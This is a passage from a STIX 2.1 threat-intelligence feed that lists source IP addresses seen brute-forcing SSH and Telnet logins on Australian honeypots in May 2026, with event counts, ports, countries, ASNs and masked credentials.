      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.226.29.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--5aeeb6ee-f320-489f-bacf-a84050b23f3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.60.108.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): t********3. Passwords observed (masked): t*******r.",
      "id": "indicator--bbdb1c7f-2eb2-4098-b141-98812fe2ef01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.75.247.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada.",
      "id": "indicator--e591585e-97be-4999-858d-b4f1c2b0f03b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.49.0.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--f2fd7a42-da08-4dd1-b64a-91147554513a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.174.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T03:15:10.000Z",
      "valid_until": "2026-06-12T03:15:08.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 141127. Organisation(s): PT Anugerah Cimanuk Raya.",
      "id": "indicator--3ba52d10-cd90-4cb9-a1cb-b7585f9d1e9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.158.121.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 2****0.",
      "id": "indicator--3c8822b2-ab94-44ab-9d5f-7bd0b0ab6e4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.22.162.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--a8c49037-efe2-47af-8c90-e6b3b76fecf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.224.10.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e4245b76-3f34-4a26-bccc-2c63a2679fb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.94.37.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group.",
      "id": "indicator--3e8a3808-9f98-4c1d-a489-a0ebd74fbf35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.1.242.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--b1ff95c8-21d2-4443-86ba-7e8db3507533",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.86.165.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--ee19cf48-9335-4855-bfe8-85ca4d451281",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.185.152.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 5432. Organisation(s): Proximus NV.",
      "id": "indicator--49291dab-9613-4f9e-b6fb-14c50e3e9bbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.65.169.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: QA. ASN(s): 8781. Organisation(s): Ooredoo Q.S.C..",
      "id": "indicator--b3474a6b-1d7e-40f9-9b12-c6fdfb014ce6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.211.143.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--578818e4-9118-4eda-bfae-b07fbabbf3c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--768a84d4-5019-4bc2-aeef-884be38ba87a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.174.95.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T04:15:05.000Z",
      "valid_until": "2026-06-12T04:15:03.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 243. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 141552. Organisation(s): Interjet India Private Limited. Usernames observed (masked): r**t, f*****r, g***t, 3**********4, f*****t. Passwords observed (masked): #********9, 1****1, 1**0, 1*****!, 1*******9.",
      "id": "indicator--957ccfc9-e0d4-45c4-92a2-78f3e713206e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.163.95.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--404eab04-7313-4f23-835c-ce04cc594e81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.16.180.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 21928. Organisation(s): T-Mobile USA, Inc..",
      "id": "indicator--07a259d8-02bc-4eb6-a799-db9583de225a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.56.34.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LB. ASN(s): 48847. Organisation(s): Waves S.a.l.",
      "id": "indicator--82f1faee-7309-4fa0-a206-6a4325797e63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.104.71.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--6532225b-555a-4664-a1e0-6302f54b58d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NI. ASN(s): 28036. Organisation(s): Telefonia Celular de Nicaragua SA..",
      "id": "indicator--d8b7e64a-7120-4940-9257-88e108c9472a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.143.253.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--99c4c42a-0676-41d9-825f-fb875019e1c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.191.94.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d69c5b75-c802-46b0-8a75-a0a8f8c78214",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 24446. Organisation(s): 5G NETWORK OPERATIONS PTY LTD.",
      "id": "indicator--8466c6e8-5ac2-4c26-aa98-6df2f96b775f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.191.63.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group.",
      "id": "indicator--81e7618b-b860-4a4b-883f-83dd70614a37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.79.188.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VG. ASN(s): 208949. Organisation(s): Hbing Limited.",
      "id": "indicator--2f02bead-c166-4348-9c09-bf83502539e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.145.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--e2e4e6fe-8768-417a-9b47-759b55cc0653",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.60.61.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T05:15:10.000Z",
      "valid_until": "2026-06-12T05:15:08.000Z"
    },
    {
      "created": "2026-05-11T06:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328418. Organisation(s): Olena-Trading-AS.",
      "id": "indicator--094db119-6823-4d13-b8f7-538745e5f668",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T06:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.69.157.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T06:15:24.000Z",
      "valid_until": "2026-06-12T06:15:08.000Z"
    },
    {
      "created": "2026-05-11T06:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 133159. Organisation(s): Mammoth Media Pty Ltd.",
      "id": "indicator--54c155a2-acfb-4dc8-846a-218b7f465a7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T06:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.16.128.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T06:15:24.000Z",
      "valid_until": "2026-06-12T06:15:08.000Z"
    },
    {
      "created": "2026-05-11T06:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 146932. Organisation(s): SCC NETWORK PVT LTD.",
      "id": "indicator--2821a7cb-4f16-4756-bf38-03d70c6d0d3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T06:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.172.99.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T06:15:24.000Z",
      "valid_until": "2026-06-12T06:15:08.000Z"
    },
    {
      "created": "2026-05-11T06:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 38794. Organisation(s): UIH.",
      "id": "indicator--7779aa5e-2007-4f12-980e-4de40f4b8bf4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T06:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.63.76.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T06:15:24.000Z",
      "valid_until": "2026-06-12T06:15:08.000Z"
    },
    {
      "created": "2026-05-11T06:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--7a218734-49e2-4995-9d6c-bd7d71238bf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T06:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.101.33.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T06:15:24.000Z",
      "valid_until": "2026-06-12T06:15:08.000Z"
    },
    {
      "created": "2026-05-11T06:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a981858d-e853-4e88-b1a3-59ba316d5c44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T06:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.44.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T06:15:24.000Z",
      "valid_until": "2026-06-12T06:15:08.000Z"
    },
    {
      "created": "2026-05-11T06:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 6799. Organisation(s): OTEnet S.A..",
      "id": "indicator--270609ff-d6a3-434c-89a9-165b42e36108",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T06:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.131.24.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T06:15:24.000Z",
      "valid_until": "2026-06-12T06:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--ddcbf728-4157-403b-8fa9-c018e7967046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.165.3.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 131769. Organisation(s): PT Mayatama Solusindo.",
      "id": "indicator--d5163d18-3a61-45a2-9694-79413c5f73b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.211.160.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T07:15:10.000Z",
      "valid_until": "2026-06-12T07:15:08.000Z"
    },
    {
      "created": "2026-05-11T07:15:10.000Z",
